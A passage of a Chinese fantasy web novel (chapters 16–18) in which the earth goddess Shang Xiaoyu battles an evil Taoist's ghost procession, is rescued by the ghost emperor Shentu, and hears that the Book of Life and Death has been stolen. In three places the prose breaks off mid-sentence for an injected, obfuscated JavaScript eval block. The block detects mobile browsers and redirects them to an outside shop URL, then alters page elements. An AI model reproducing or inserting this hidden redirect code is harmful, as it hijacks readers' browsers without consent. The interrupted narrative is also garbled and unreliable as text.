吵架主力军一走,其他阿姨也跟着散了。 得想个办法拉拢一下邻居们,太影响土地庙的形象了。 商小玉想着,顺便用灵视扫了一下辖区,便看到山下缓缓飘上来一个老头,后边一队敲敲打打的,正跟下山的张姨她们撞上。 天色一黑,有鬼怪趁机出来捣乱了。 她连忙冲出去。 张姨几个人顺着山路下山,准备去山脚下的小公园跳舞,在去往小公园的路口意外碰上了赵大爷。 “老赵,吃完饭了?走,跳舞去啊。” 赵大爷迷茫地看了她们一会儿,缓缓张嘴:“不……跳……了……” 张姨看他脸色苍白,不像往常乐呵呵的,“咋了?身体不舒服?” 赵大爷说:“他们……不让……” 张姨几个人一听,愤怒了:“谁敢不让我们跳舞!我们在山下跳,离居民区那么远!” 赵大爷不再说话,缓缓扭头,望向通往山下的小路。 先是一阵丧乐声传来,唢呐高亢而悲凉,笙音辽远,瞬间把人带入一种诡异的、让人毛骨悚然的境地中。 接着,一队人进入他们的视线中,这群奇怪的人全都披麻戴孝、为首的捧着一个扎白花的大相框,头戴白帽、身穿白衣、脚踩白鞋,中间的吹打唢呐、笙、钹、锣,后边四个人抬着一具沉重的暗红色大棺材,哭哭啼啼、蹦蹦跳跳、吹吹打打地往山上来。 最为诡异的是,他们中扛着棺材的,走在山路上居然轻飘飘的跳跃,落地时还踮着脚尖。 一个大姐很小声地,像是文字哼哼般说:“他们都没有影子……” 山路上每隔一段都有路灯,她们站的位置刚好有一个,白炽灯把他们的影子清晰照出,在地上拉得长长的四条。 那队办丧事的脚下却一个影子都没有。 等等,四个影子? 他们明明五个人。 张姨仔细一看,老赵脚下也没有影子。 16. 第 16 章 出殡的队伍开始还离张姨她们十米远,也就几秒钟的功夫,就已经飘飘荡荡到了眼前。 张姨拉着身边两个朋友刚转身哆哆嗦嗦跑了两步,就感觉身后一阵阴风直吹得骨髓僵冷,头脑昏沉,身后有一股巨大的拉扯感,想把她整个人从身躯里拉扯出来。 张姨懵懵然,人从躯壳中缓缓飘出,低头看,她的身体正慢慢下滑,趴在了地上。 “什么东西,敢来桃枝山撒野?” 商小玉用了缩地成寸,瞬间出现在山路上。 迎面一股冲天的森然阴气扑来,好多鬼,抬棺材的,披麻戴孝的,穿红着绿的,全是凶鬼、厉鬼,每一只身上都几条人命,这里有上百只厉鬼。 为首的那个披麻戴孝的孝子,怀里的黑白人像原本五官模糊,现在逐渐变成了商小玉的模样。孝子歪着脖子撇着嘴哀哀哭泣,身旁两个同样披麻戴孝的却在哈哈大笑,猩红的眼珠子都死死盯着商小玉。 队伍中只有那个道士,脚是站在平地上的,是活人,这群厉鬼团团把他护在中间。 这人穿着黑色道袍,身材又矮又胖,腹部像怀孕似的高高隆起,肤色青黑,脸上布满脓肿的疙瘩,把眼睛都快挤得看不见了。 他背后背着一柄金钱剑,黑红色的穗子,上头许多黑色污迹,腰间斜挎一个敞开的布包,里边是白花花的纸钱。 这人满脸邪气,浑身煞气笼罩,浓郁不亚于周遭恶鬼。只有害过许多人的大恶人才会有如此多的煞气缠身,这种人活着时无恶不作,害人无数,死后也会变成鬼王祸害人间。 道士的声音沙哑诡谲:“就是你害死了我徒弟。” 原来是为了害张兴的邪术师来的,尾随在张兴夫妇身后上山来找茬了。 出殡队伍停住了,吹唢呐的和吹笙的、敲铜锣的更卖力地吹打起来。 商小玉脸色不太好看,她身份虽高,道行却浅,这妖道做足了准备来报仇,她只有一个人,事情棘手起来。 她把手伸进裤兜解锁手机,凭感觉给岳潇发了一串乱码。 只能拖一下时间,希望岳潇能看出来问题,及时赶过来吧。 心里再忌惮,商小玉表面还是笑嘻嘻的,“请问你们师门收徒的标准是必须丑得人想吐吗?你徒弟像个坏土豆,你像个□□,你失去了这个徒弟,怕是很难找到更丑的了吧?确实怪让人伤心的。” 与此同时,商小玉迅速往张姨四人身上各拍了一掌。 张姨轻飘飘的魂魄立刻归位,重新回到身体里。她从地上爬起来,“哎哟”了声,看到商小玉宛如救命稻草,“小商!” “去庙里避避,看着山路别让人下来了。” 赵大爷看见熟人跑了,迷迷糊糊也想跟过去,被商小玉拦住,往旁边树林子里一丢。 赵大爷魂魄离体,肉身还不知道在哪里呢,去庙里可是会被顷刻间冲散魂魄的,眼下顾不上他,先丢一边去。 妖道气得满脸通红,他最讨厌别人说自己丑,“小丫头片子,我要把你削成人彘,再放在坛子里炼成厉鬼。” 他掏出一把纸钱洒向空中。 纸钱漫天飞舞,洒在商小玉头上,商小玉顿时感觉道行被吸走一截,忙往后退几步,躲开纸钱范围。 纸钱买命,好厉害的手段,比他徒弟手段不知道高了多少。 妖道嘎嘎大笑:“还逞嘴皮子吗?你们去,给我生擒了来。”后一句是对身边的厉鬼们说的。 听了命令,厉鬼们尖啸声大作,纷纷现出死时的原型,有的满身血迹,有的肠穿肚烂,浑身生蛆,狂啸着向商小玉冲来。 “啊啊啊!恶心死啦!”商小玉大喊:“你是想丑吐我吗?不过他们比起你还是差了点!” 道士气得手抖,“你他娘的给我等着!” 他躲在后面,不断撒买命纸钱。 最前面的孝子抱着商小玉的黑白大相框,张口露出一米多长的舌头,舌头宛如鞭子一般袭来。 商小玉铿然拔剑,横在身前拦住舌头,冷笑:“你替妈妈披麻戴孝,妈妈很开心,不过咱们这母子关系还是断在今天吧,我可不想要你这么恶心的丑儿子。” 她仗剑一削,那长舌孝子的舌头如砍瓜切菜般断成两截,滋滋直冒黑气,孝子立即丢开相框,抱着嘴巴哭嚎。 身后鬼嫌他碍事,一脚踹开,“滚一边哭去!”举着唢呐朝商小玉砸来,被一剑挑开,刺入胸口。 桃木最克鬼怪,尤其商小玉手里这柄,来自家里那株不知道活了几千年的桃木,哪怕对上厉鬼,也无往而不利。 如果只有几只、十几只鬼,她能轻松搞定,可是眼下上百只厉鬼迎面扑来,就算砍断手脚,厉鬼也能很快再长回来,难对付的很。 还有道士躲在后面不断撒纸钱,密集的圆形方孔纸钱轻飘飘的,不论怎么躲都会落在身上几片,商小玉能感觉到自己的神力在迅速消耗。 这样下去可不行,迟早耗尽神力。输在一群丑东西手里,也太丢人了。 商小玉望向四周,幸好这是她的辖区,可以找点帮手。 她跺一跺脚,地面像波浪似的抖动起来,山间碎石震动滚落。 “快来帮忙,否则回头谁也别想吃我的祭品了。” 顷刻间草木摇动,山精鬼怪尽数被唤醒,飘飘荡荡来了这里,看到成群的厉鬼,都吓了一跳。 桃枝山大部分都是些普通鬼魂,动物现在少有成精的,只有几个比较厉害的鬼撸起袖子冲了上来,跟厉鬼厮打在一起。 有一只不知道什么时候搬来的母黄皮子,还没化形,棕黑毛色,长长一条,耳边插了一朵小小的红色野花,人立起来冲商小玉拜了一拜:“俺是新来的,来拜土地娘娘山头。” 黄皮子倒是很实诚,立刻冲来,牙尖嘴利,长指甲闪着寒光,冲着一个女鬼的脸抓了一把,随后跟她滚在一起打起来,专门扯头发抓脸,往她鼻子里喷臭气,女鬼哭得惨极了。 剩下的缩在一起瑟瑟发抖,“娘娘,你招惹的鬼太厉害了,我们打不过啊。” “对啊,娘娘你也太能惹事儿了。” “谁蛐蛐我?我可听见了!”商小玉抽空把兜里桃木小剑全撒了出去,引来一片厉鬼哀嚎,她大喊:“给你们加鸡腿行了吧!” 听说有鸡腿,众鬼立刻叫好。 “说好了嗷!” “回回都是苹果花生馒头,我都吃腻了,终于能加鸡腿了呜呜呜。” “换成酒行不行?好多年没喝酒了。” “傻逼老酒鬼……” 一群在桃枝山混的孤魂们精神大震,立刻冲上来助战。他们打不过厉鬼,就好几个鬼打一个,跳到厉鬼身上,抓头发抠眼睛,也算是份战力。 商小玉常年祭鬼,虽然本地阳间人不认她,但鬼倒是认得她是土地神,孤魂们源源不断地赶来助战。 有鬼拍拍在树林子呆呆站着的赵大爷,“兄弟,一起去帮忙吗?” 赵大爷抱紧自己:“不,不,不了吧?” “嘁,那回头你别吃鸡腿。”鬼翻个白眼,飘走了。 赵大爷认出这个人有点眼熟,好像是几年前死了的一个老邻居,当时他还出席葬礼了,这鬼身上穿的跟葬礼上那套寿衣一模一样。 漫山遍野都是鬼,几百只鬼打架,你撕一条胳膊,他扣两个眼珠子,场面血腥得离谱,赵大爷做梦都不会那么刺激,蹲在角落抹眼泪。 有了上百个孤魂帮忙,商小玉稍微轻松了一些,举着桃木剑砍杀,终于扫清了跟妖道之间的障碍。 道士略感慌神,看看左右,身边没有一个厉鬼,心疼的要命。这上百个鬼,全是他二十年间不断害人攒下来的家底,可不容易了。 他本来以为商小玉只是个比较厉害的同行,没想到上百个厉鬼全折在这里,这丫头似乎来历非凡。 商小玉被纸钱撒的脸都有点发白了,攒了好久的神力一朝全空,非常愤怒,气势汹汹举着剑向妖道冲来。 “还有什么遗言快放!” 道士咬咬牙,噗通跪在石阶上,一个头磕下来。 商小玉被他跪懵了,想说这人也太不要脸了吧,磕头求饶? 妖道这头磕下来,狂风四起,冥冥中有大哭大笑声传来,她瞬间头晕目眩,眼前直冒金星,神力直接见底。 道士咧嘴嘿笑,又一个头磕下来,商小玉感觉自己连寿数都被偷了些。 她勉力举起桃木剑砍来,道士后空翻躲了过去,抽出七星剑与她对战。 他这招磕头拜寿,比纸钱买命还要厉害,上百年的道行,三个头磕下来也都没了,没道行的顷刻间就会被拜光寿数。这小丫头还算厉害的,被磕了两个头,还有力气挥剑。 “小丫头长得还挺标致,现在向道爷求饶,我让你做我二奶,不,四奶。” 两人相距不超过一米,妖道咧着嘴,牙齿黑黄,口气巨臭。 商小玉用空着的手捂住嘴巴,“你们癞蛤蟆神教都这样吗?长得丑想的还挺美。” 癞蛤蟆神教!妖道脸色铁青:“竟敢侮辱五圣公太阴金蟾仙尊,你死定了!” 妖道的七星剑是由古青铜钱串成,每一片铜钱都失去了本来的颜色,布满黑褐色污迹,那是干涸的人血。铜钱不锋利,但沾满了煞气,杀人轻而易举。 可商小玉的桃木剑来历不凡,两人来回过了几招,妖道的七星剑就突然断裂,他定睛一看,刀身上的铜钱被削断了,串起铜钱的线也被砍断,铜钱散开掉了一地。 “我的剑啊!”妖道痛呼,他养了二十年的七星剑,这可是他手里最好的宝贝了,有钱也买不到。 他眼珠盯住了商小玉的桃木剑,认出那桃木的不凡,想要伸手去夺,却险些被削断了手。 妖道丢了剑,养的鬼也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438065|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被压制,他行走江湖多年,还有底牌,并不慌乱。 他从包里掏出一炷香点燃,插在头顶,拜了西方,口中念咒。 “恭焚真香一心奉请,秘法口诀请神明,今拜请五圣公真仙太阴金蟾仙尊上我身,助我逢凶化吉,他日定重金叩谢仙尊!” 金蟾附身,再抬起头来,那眼珠凸起,嘴巴咧得老大,鼓起两腮,口中“呱”的一声。 这妖道的道行比他徒弟不知道高了多少,附身的邪神力量也就更大,一个字就让商小玉犹如被鲁智深揍了一拳的幼儿园儿童,毫无还手之力地跌倒在地,口鼻眼流出血来。 如果她没有被削了道行,有神力护体,不至于这么惨,可是现在都耗光了,境地便被动起来。 岳潇那个王八蛋,到现在都没来! 妖道咧着大嘴,猩红的眼珠死死盯着她,知道她是樯橹之末,弯腰看她。 洪钟般的声音与妖道沙哑的嗓音重叠在一起,那金蟾借着妖道的身体开口:“就是你敢毁本座金身?” 商小玉没说话,咬着牙抹了一把脸上的血,握住桃木剑,挣扎着想爬起来。 妖道鼓动两腮,要再呱一声,让她五脏尽碎而死。 忽然,山顶自上而下刮来一股清风。 犹如四月,这风轻而柔,温暖如春,挟带着山间的花香和草香,瞬间冲散了这里腥臭难闻的煞气和血腥气。 天地为之一清。 妖道头顶的香剧烈燃烧,他连忙护住香,警惕地朝上望去。 只见山间石阶上,一个高而瘦的男人手持一条绳索徐徐走来。 路灯映照出他的长相,长到肩下方的头发随便束着,小麦肤色,黑色的眼睛非常平静,没有什么表情,深邃的眼窝和高鼻梁的阴影让他显得有些冷酷无情。 他走得也不快,上半身几乎不动,慢慢走下台阶,肩膀宽阔,身材笔直,有种强健的力量感,穿着普通的麻布黑色斜襟长袍,说不出哪个朝代能有这么潦草的款式,下身是黑裤子和芦苇编的草鞋,简陋得像野人。 这个人什么都还没做,也没人知道他是谁,来做什么,但所有在场的鬼或是人都被他震慑住了,似乎是一种根植在灵魂中的畏惧,不敢动,不敢呼吸,腿脚发软,想跪。 有不少鬼都顺从本心,跪伏下来,把脸埋在土里瑟瑟发抖。 商小玉看到他,虽然从来没有见过,可心里已经认出了这陌生人是谁。 他目光扫过来,声音低沉平静:“许久无人敢来桃止山撒野了,你们很有胆子。” 妖道附身的金蟾吃了一惊,结结巴巴:“桃,桃,桃止山!你是鬼帝神荼!” 怪不得连他这种有几百年道行神都畏惧,原来是他。 当地只说这里是桃枝山,一字之差,鬼知道这里竟然是桃止山,那个传说中鬼门关的入口,他要是知道,哪怕被杀了全家都不敢来招惹好吗! 他一语落地,妖道头顶的香极速燃烧到底,金蟾想要脱离附身,一条苇索飞来套在妖道脑袋上,金光一闪,金蟾没能离开。 坏了,要死。 神荼收紧苇索,手臂用力,将妖道凌空拉起。 金蟾附身的虽然不是真身,但也有他一小半神识,如果被拦住,命也要丢小半条,几百年道行都要丢在这里。 不过好在他手里有件大宝贝。 异变陡生,妖道身上突然光芒大作,他从当空掉落,苇索断成了两截。 再要抓金蟾已经晚了,他脱离了附身。 妖道惨叫:“师尊救我!” 晚了,金蟾跑得头也不回,彻底消失了。 神荼捡起苇索,看到那两端的断裂痕迹,叹了一口气,“没用的家伙,连这东西都被偷走了。” 他把断裂的苇索两端系起来,套住妖道,将人捆起。 商小玉不好意思地用衣摆擦脸上的血,“对不起师父,我没打过他,还要劳烦您。” 啊啊啊,她头一次见师父的面,竟然是因为打架没打过,只能让家长收场。脸上全是血,还在地上打了滚,好狼狈,好尴尬。 还有那该死的妖道,打群架就算了,打不过还摇人,简直输不起,要是他没摇人,她必嬴好吗! 神荼淡淡地说:“你年纪小,打不过五通没什么。” 他也是头一次在现实中看到这个徒弟,年纪小,神态稚气,个头矮,却很倔。初生牛犊,不知道哪里来的勇气单挑一群厉鬼,他看了半天,这徒弟半分要他帮忙的意思都没有。 “下次打不过可以叫我。”他说。 说起来有些惭愧,神荼收了这徒弟,其实几乎没教什么,却受了爷孙俩二十来年香火,他虽不需要,但也承情了。 商小玉乖乖答应,心里不大愿意。 显得她多菜啊。 她得想想下次遇到那只自称仙尊的癞蛤蟆该怎么对付。 17. 第 17 章 山下这时才冲上来一个高挑纤瘦的身影,身后坠着两个人。 一个是赵兕,另一人中年模样,大约一米七个头,细长眼睛,椭圆形的脸庞,五官线条柔和,长发梳成道士发髻,留着长须,穿深蓝色运动服套装,气质儒雅,很显然是个道士。 岳潇此刻才赶到,看到满地狼藉,一群孤魂和厉鬼,“我来晚了吗?” 神荼见来了外人,本要散去身形,看到岳潇身后的一个人,便没动。 商小玉唉声叹气:“你跟警匪片里的警察有什么区别?咱们俩之间的信任岌岌可危了现在!” 岳潇十分内疚:“我去机场接人了,没看到消息,再说一堆乱码谁懂,后边给你打电话你没接我才觉得你可能出事了。”她打了几个电话商小玉都没接,感觉有点不对劲,一路狂踩油门飞过来的。 商小玉掏出手机一看,果然有6个未接电话,她忙着打架呢,没有看到。 岳潇捧着商小玉的脸蛋,十分怜爱:“流了那么多血,真可怜。”她左右看看,盯住被绑起来的妖道,冲过去踹了几脚,“丑八怪,你胆子很大啊,阿玉是跟协会合作的人,你惹她就是惹协会,我告诉你你这辈子完了。” 她掏出一副银手镯,把人拷了起来。 道士生无可恋,毫无反抗之意。 没看到鬼帝之前,他也怕协会,毕竟是官方的组织,能人云集。可是现在他不怕了,鬼帝会碾得他魂飞魄散,协会难道就会放过他吗?他很明白自己这些年杀人如麻、坏事做尽,是必死的命运,已经不挣扎了。 赵兕也赶到了,见只剩下扫尾工作,“这些恶鬼就交给我来处理吧。” 他捏着一只厉鬼的后脖子拎起来,将其吸纳进左臂。 商小玉看到他左手小臂内侧有个掌心大小的七层宝塔纹身,纹路刻画细腻精致,厉鬼被关进宝塔中,宝塔纹身上就出现了一个惊惶探出窗口的鬼头纹身。 厉鬼被神荼震慑,跪伏着头也不敢抬,更别提逃跑,赵兕一个一个,把那些煞气缠身的厉鬼全关押起来。 商小玉的邻居野鬼们没干亏心事,胆子略大,在赵兕靠近时小声说:“我是好鬼,娘娘请来帮忙的,你别抓错鬼了。” 赵兕:“让让,别挡路。” 野鬼往旁边挪了两步,见神荼没有看他,悄悄飘起来,隐入山林。其他孤魂野鬼看他能跑掉,也悄悄跑了。 赵大爷也想跑,被商小玉看到,连忙叫住:“赵大爷,你没死呢,还想活就别跑。” 赵大爷听闻一喜,“我没死?” “没呢,就是不知道肉身去哪了,要是在附近……” 赵兕接话:“应该不在了,我们在山下看到救护车把他肉身拉走了。” “行吧……”邻居们真热心啊,“那你先跟我回庙里待一夜,明天送你回家行吗?” 商小玉刚打了一架,走路都费劲,没有力气送赵大爷回肉身了。 赵大爷犹犹豫豫:“他们不会直接火化了我吧?” 赵兕科普:“魂魄离体,肉身只会昏迷,不会直接死亡,俗称植物人。不过时间长了就不好说了。” “哦哦,那还好。” 刚才这里几百个鬼打架,阴气森森,无意间形成了一种域,让生人靠近不了,只能在外圈鬼打墙,现在阴气吹散,域也就散了,邻居们路过看到他们,投来疑惑的眼神。 还有人问:“小商,你们干什么呢?怎么还把道士拷起来了?” 商小玉沉默了下:“玩cosplay呢阿姨。” “啧,现在连中年人都玩这么花吗?”长那么丑,玩的还挺时髦的。 对方立刻劝:“小商啊,你可不要跟那些不三不四的人交朋友,现在社会坏人可多了,有些中年人专门骗单纯小姑娘的,还有那些纹花臂的男青年,都不是什么正经人。” 他看到神荼,眼神缓和,这个年轻人还不错,长得帅,看着就很面善。 纹身男青年赵兕漠然,他已经习惯了。 但妖道被深深伤害到了,委屈得差点哭出来。他承认自己不是好东西,要杀要剐随便,怎么还坏人名声呢。 他是坏,但是没有骗小姑娘好吗,反而快被小姑娘打死了。 商小玉走至神荼身旁,“师父,这里人太多,我们回庙里?” 她不知道为什么,从来没出现过的神荼解决完金蟾没有直接走人,但她对能看到师父还是很高兴的,希望他晚一些离开。 神荼颔首。 岳潇几人跟在后面,她时不时看一眼神荼的背影,悄悄问赵兕,“这人是谁啊?”这气场,就连她门派中的长老都没有,像是一座高山,令人望而生畏。 赵兕望向他们中的另一人,“副会长说不准认识。”他还记得第一次来找商小玉时,会长像是知道他行踪似的,专门打电话来让他别惹。 和他们一起来的第三人就是岳潇请来的外援,她去求援时,没想到能把副会长请来,而且没费什么功夫。只是提交了一下案件资料,副会长就来了。 副会长叫崔明,微笑说:“你俩把他当祖宗供着也不为过。” 祖宗? 岳潇和赵兕对视一眼,深吸了口气。 * 商小玉几人走上山去,张姨几人就在庙所在的山路口等着,阻拦人下山,看到她,几人白着脸凑过来。 “小商,那群脏东西走了没呀?”张姨看到赵大爷也在一旁,想拉住他的手询问,没想到扑了个空,手从他身上穿了过去,吓得尖叫一声,引来周围人的疑惑。 其实是因为她刚撞过鬼,身上阴气重,否则正常人是看不到赵大爷的。 商小玉安抚:“别怕,没事了,我明天就把赵大爷送回去,不耽误你们跳广场舞。” “哎哟,谁还有心思跳舞啊,吓都吓死了。” “就是就是。小商啊,原来是你是有真本事的啊?阿姨还一直以为你和老商都是骗子呢,阿姨给你道歉,千万原谅我。” 商小玉哈哈一笑,“以后常来上香就原谅你。” “那肯定的,我们刚才就上过香了。” 平时就数老赵对商家爷孙的土地庙最有成见,现在也最尴尬,“我家供了八个神龛呢,逢年过节还去大庙上香供奉,谁知道家门口小庙里就有真本事的呢,唉。” 商小玉听他数家里供的,有玉皇三清,也有观音弥勒,甚至还有胡黄大仙,赵大爷的信仰相当博爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445924|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可是,八个神龛!没有她一席之地! 阿姨们发誓以后不拦着香客烧香,还说要替商小玉澄清误会,虽然其实也算不上误会…… 张姨几人还求了护身符,再三确认山下没有鬼了,才和急着下山的人一起结伴而行。 到了山下,她们四个特意去小公园,见人就问他们有没有撞鬼。 大多都沉浸在广场舞的快乐里,什么都不知道,也有许多人说刚才想要回家,转了好几圈却怎么也找不到路,差点吓死。 有个说:“你别说,我刚才真的隐约听到有吹唢呐敲铜锣的,还影影绰绰看到有个人从那边树丛里飘过去了。” 张姨立刻说:“那你可得去小商庙里拜拜,否则看见脏东西要生场病的。她那里就是咱们本地的土地庙,专门保佑本地百姓的,可灵了。” “你以前不都说商家的庙不好吗,怎么突然改口了?” 张姨扼悔恨:“是我有眼无珠,对不起小商,这次要是没有她,我们几个小命都要丢掉了。” 她把刚才发生的事情说了一遍,百鬼游行,厉鬼出殡,说的人一愣一愣。 有几个信了,大部分还是不相信她的话。 她说:“我们运气好,老赵就被鬼冲撞得丢了魂,现在人就在山上土地庙里呢。” 一人说:“你别唬我,我刚过来,刚才老赵昏倒在山下,被救护车拉走了,据说特别严重,他就是年纪大了身体不好,说不准是中风了……” 张姨:“小商说了,明天就把老赵的魂送回去,我说得是真的,你就等着看吧。” “嘿,要是老赵明天能出院,我就信你说的,上山烧香磕头去。” “你就等着吧。” * 庙里,送走了所有香客,商小玉从偏殿找出以前装过姚艾艾的黑色瓷罐,请赵大爷暂时安身,依旧是放在偏殿。 忙完之后,请神荼等人上座,烧水,拿出家里最好的茶叶沏茶。 不是什么好茶叶,仔细想一下,好像是两年前的陈茶了,她顿时心虚气弱。 出身比较好的岳潇三人,尝了一口就放下了,保持礼貌,没有直接嫌弃。 商小玉完全没有必要心虚,神荼有几百年没有入口过什么人间食物,香火供品里是不会有茶水的,没有对比就不知道好坏,他平静地喝光了茶水。 商小玉移开视线,把刚才发生的事情详细讲了一遍,请岳潇派人去张兴家看一下,看看他有没有出事。 妖道追踪张兴找到桃枝山,不好说有没有对他做什么手脚。 岳潇答应了,说:“上次的事情加上这次,都是你给协会帮忙,我们不能白让你出手,我已经帮你申请奖金了,但可能不是很多。” 商小玉本来没指望跟协会要奖金,这是意外惊喜,她笑露一口白牙,感谢岳潇。 崔明看向神荼,面带犹豫。或许帝君想要隐藏身份,他直接称呼帝君就不大妥当,可是该怎么称呼? 他揪着胡子纠结片刻,决定解决不了称呼,就解决让他纠结的人,当即让岳潇赵兕两人回去审问妖道,问出金蟾的下落。 这是眼下最重要的事情,岳潇两人听了,立刻就走了。 18. 第 18 章 商小玉就不需要避讳了,协会高层早就知道她的身份了。 崔明站起身向神荼深深一揖,“帝君别来无恙。” 神荼说:“叫我名字即可。” 崔明当然不敢了,于是改口叫先生。 “先生,岳潇发给我的资料里,东州近期有两例被邪术削寿的案件,姚艾艾半个月间长了十五岁,张兴的寿数更是被挪到了双胞胎兄弟身上。我怀疑,那只金蟾妖偷走了金箧玉策。” 神荼点头:“我也猜到了。此物流落阳间,说明连那家伙也掌控不住局面了。” “先生别怪郁垒帝君,日游在冥司经营数千年,十大冥帅、三千鬼王多半归附了他,我等也难以抗衡,郁垒帝君已经尽力了。” 金箧玉策,好耳熟……商小玉一愣,失声:“生死簿?” “是啊。”崔明疑惑问神荼:“娘娘不知道吗?” 商小玉是人间司土地之神,这些事情不该瞒着她啊。 神荼沉默了下,“她没问过。”没问,当然不知道怎么说了。 好吧。 自己上司,崔明知道神荼向来沉默寡言的性格,问:“除了先生,如今人间只有娘娘一个土地神,阴司从来不派差役出来勾魂,你不问问吗?” 商小玉小时候确实奇怪过,但她没有麻烦师父,整理出了一套自己的逻辑。 “我只是个小土地,别的大神仙,可能不稀得搭理我。而且现代人有信仰的又不多,我以为那些土地同行都饿死了呢。”她就是一路饿到大的。 崔明哭笑不得,“那阴差呢?你从来没见过阴差勾魂,不奇怪吗?” 商小玉:“有什么好奇怪的,人间没有阴差,不是也运行得很好吗?我活了二十多年,很少见出过什么乱子。我还以为冥界阴差只是民间传说,不是真实存在的呢。” 人有三魂七魄,死后七魄随即消散,三魂中的天魂归天,地魂归地,而人魂则徘徊于墓地间,享受亲人祭拜。 理论上,地魂承载了人的因果报应,于是阴差只勾走地魂去地府受审,赏善罚恶。善人或修成鬼仙,为地府做事,或来世能有个好出身,恶人就投入十八层地狱,一层层受罚。 可实际上,以商小玉多年来的观察,没有阴差勾魂,并不影响人间的生死循环。没有执念的普通人,死后依旧会正常魂魄消散,执念深刻的人,横死枉死之人魂魄,地府本来就是不管的。 就像姥爷,去世前看到她长大成人,考了好大学,身上没有什么执念,便走的干干净净。 崔明虽然是地府出身,但他也觉得说的对。虽然她不知道真相,认知却很靠近事情的本质,不愧是神荼帝君教导出来的孩子。 崔明叹道:“娘娘真是机敏聪慧,但你说的不对,地府是存在的,否则,神荼帝君又怎么会一直镇守在桃止山上呢。当年神界大战,冥界也卷入进去,为了保护人间,神荼郁垒两位帝君奉命关闭鬼门,先生守人间之门,郁垒帝君守鬼界之门。” “但时间久了,日游发现五方鬼帝中的四位、十殿冥王和地藏菩萨再也没有回来,只剩郁垒帝君镇守,于是此贼趁机作乱。我原本奉郁垒帝君之命看守六道轮回,谁知道被奸贼偷袭,不得不进入六道轮回躲避,就是这么托生到人间来的。” 崔明摊摊手:“六道轮回,应当是落入日游手里无疑了,现在又发现生死簿落入人间,其中必定有什么缘由,至于其他至宝怎么样,我就不知道了。” 神荼从来没跟商小玉讲过这些事,原来神界也会打仗吗?为什么打?她问。 崔明笑道:“在下只是个地府判官,微末神职,怎会知道上头的机密?” 商小玉看他微笑捋须的模样,不像是一点都不知道,而是不愿意说,也就不问了。 那些只在传说中存在的天神距离她太过遥远,她只是个没什么香火的小土地,知道了也没什么用处。 最重要的还是生死簿。传说中这件冥界至宝记载了人间所有生灵的名字、阳寿和阴寿期限,可以控制人的生死。以往阎罗王公正严明,赏善罚恶,不会轻易更改寿数,落到金蟾手里,就是一件无敌的大杀器。 商小玉举手问:“生死簿据说能掌控人生死,癞蛤蟆教直接用生死簿给张旺添个一百岁不就行了吗?为什么还要把他哥哥张兴的寿命借给张旺?” 崔明前世身为冥司判官,是在场使用生死簿最多人,对此有些比较靠谱的猜测。 他说:“生死簿需要配合判官笔,才能以微末之身使用至宝。金蟾费劲周章才能给人添寿,说明他手里应该只有生死簿,没有判官笔,他不能直接使用生死簿给人添寿。” “若是没有判官笔,直接使用生死簿必定遭神器反噬,所以他用了其他歪门邪道。张兴曾经被金蟾入梦,强行殴打使人答应借寿,所以我猜,让被借寿的人同意是一个条件。” 商小玉若有所思,“姚艾艾是被人知道了八字,张兴和张旺的八字一样,说明八字也是条件之一。” “正是如此。”崔明轻声说:“虽然生死簿有使用条件,但我和岳潇他们的名字全在上头,金蟾既然有添寿的办法,也会有一笔注死的法子。” 这就在协会头上悬了一把利刃,说不准什么时候,调查者就被无声无息勾了命去,非常危险。 商小玉摸摸脖子,本来以为金蟾的呱声就够厉害了,没想到手里还有生死簿,这还怎么打? 神荼见她担忧自己小命,说:“你不必害怕。你天生为神,不归冥界掌管。” 崔明安慰说:“娘娘放心,冥界可没资格管您,您的名字在天界那本金箧玉策里,由南斗掌管。” 商小玉松了的气又提起来了,冥界的生死簿能落入癞蛤蟆手里,天界的就能一直保管好吗? 不过,想想她又释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451124|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然了。还是那句话,她只是个可怜的小土地,天界的事情,她就算担心也没用,不如先放下心。 这也是崔明特意从总协赶来的原因,他起身郑重向商小玉和神荼行礼,“岳潇赵兕他们的名字在生死簿上,太容易被克制了,在下想求娘娘和先生拨乱反正,帮助协会找回生死簿。” 一直没怎么说话的神荼放下茶杯,瓷杯在木桌上碰撞出清脆的声响。 他冷声道:“生死簿不能落在外人手里。” 协会那些身居高位者就能忍住不去给自己添寿吗?这比在金蟾手里好不到哪去。 崔明一怔,“可是协会……” 协会自然也不希望生死簿落到别人手里,他现在已经不是冥界鬼仙,而是协会的人,当然首先从协会的角度考虑问题。 但神荼的考量是正确的,人都有私心,即便是崔明自己也希望寿数可以像以前做鬼仙时那样百年千年地活着。 他试着说:“我可以保证,协会绝对不会轻易使用生死簿,我们只是不希望宝物落在民间引起动乱。” 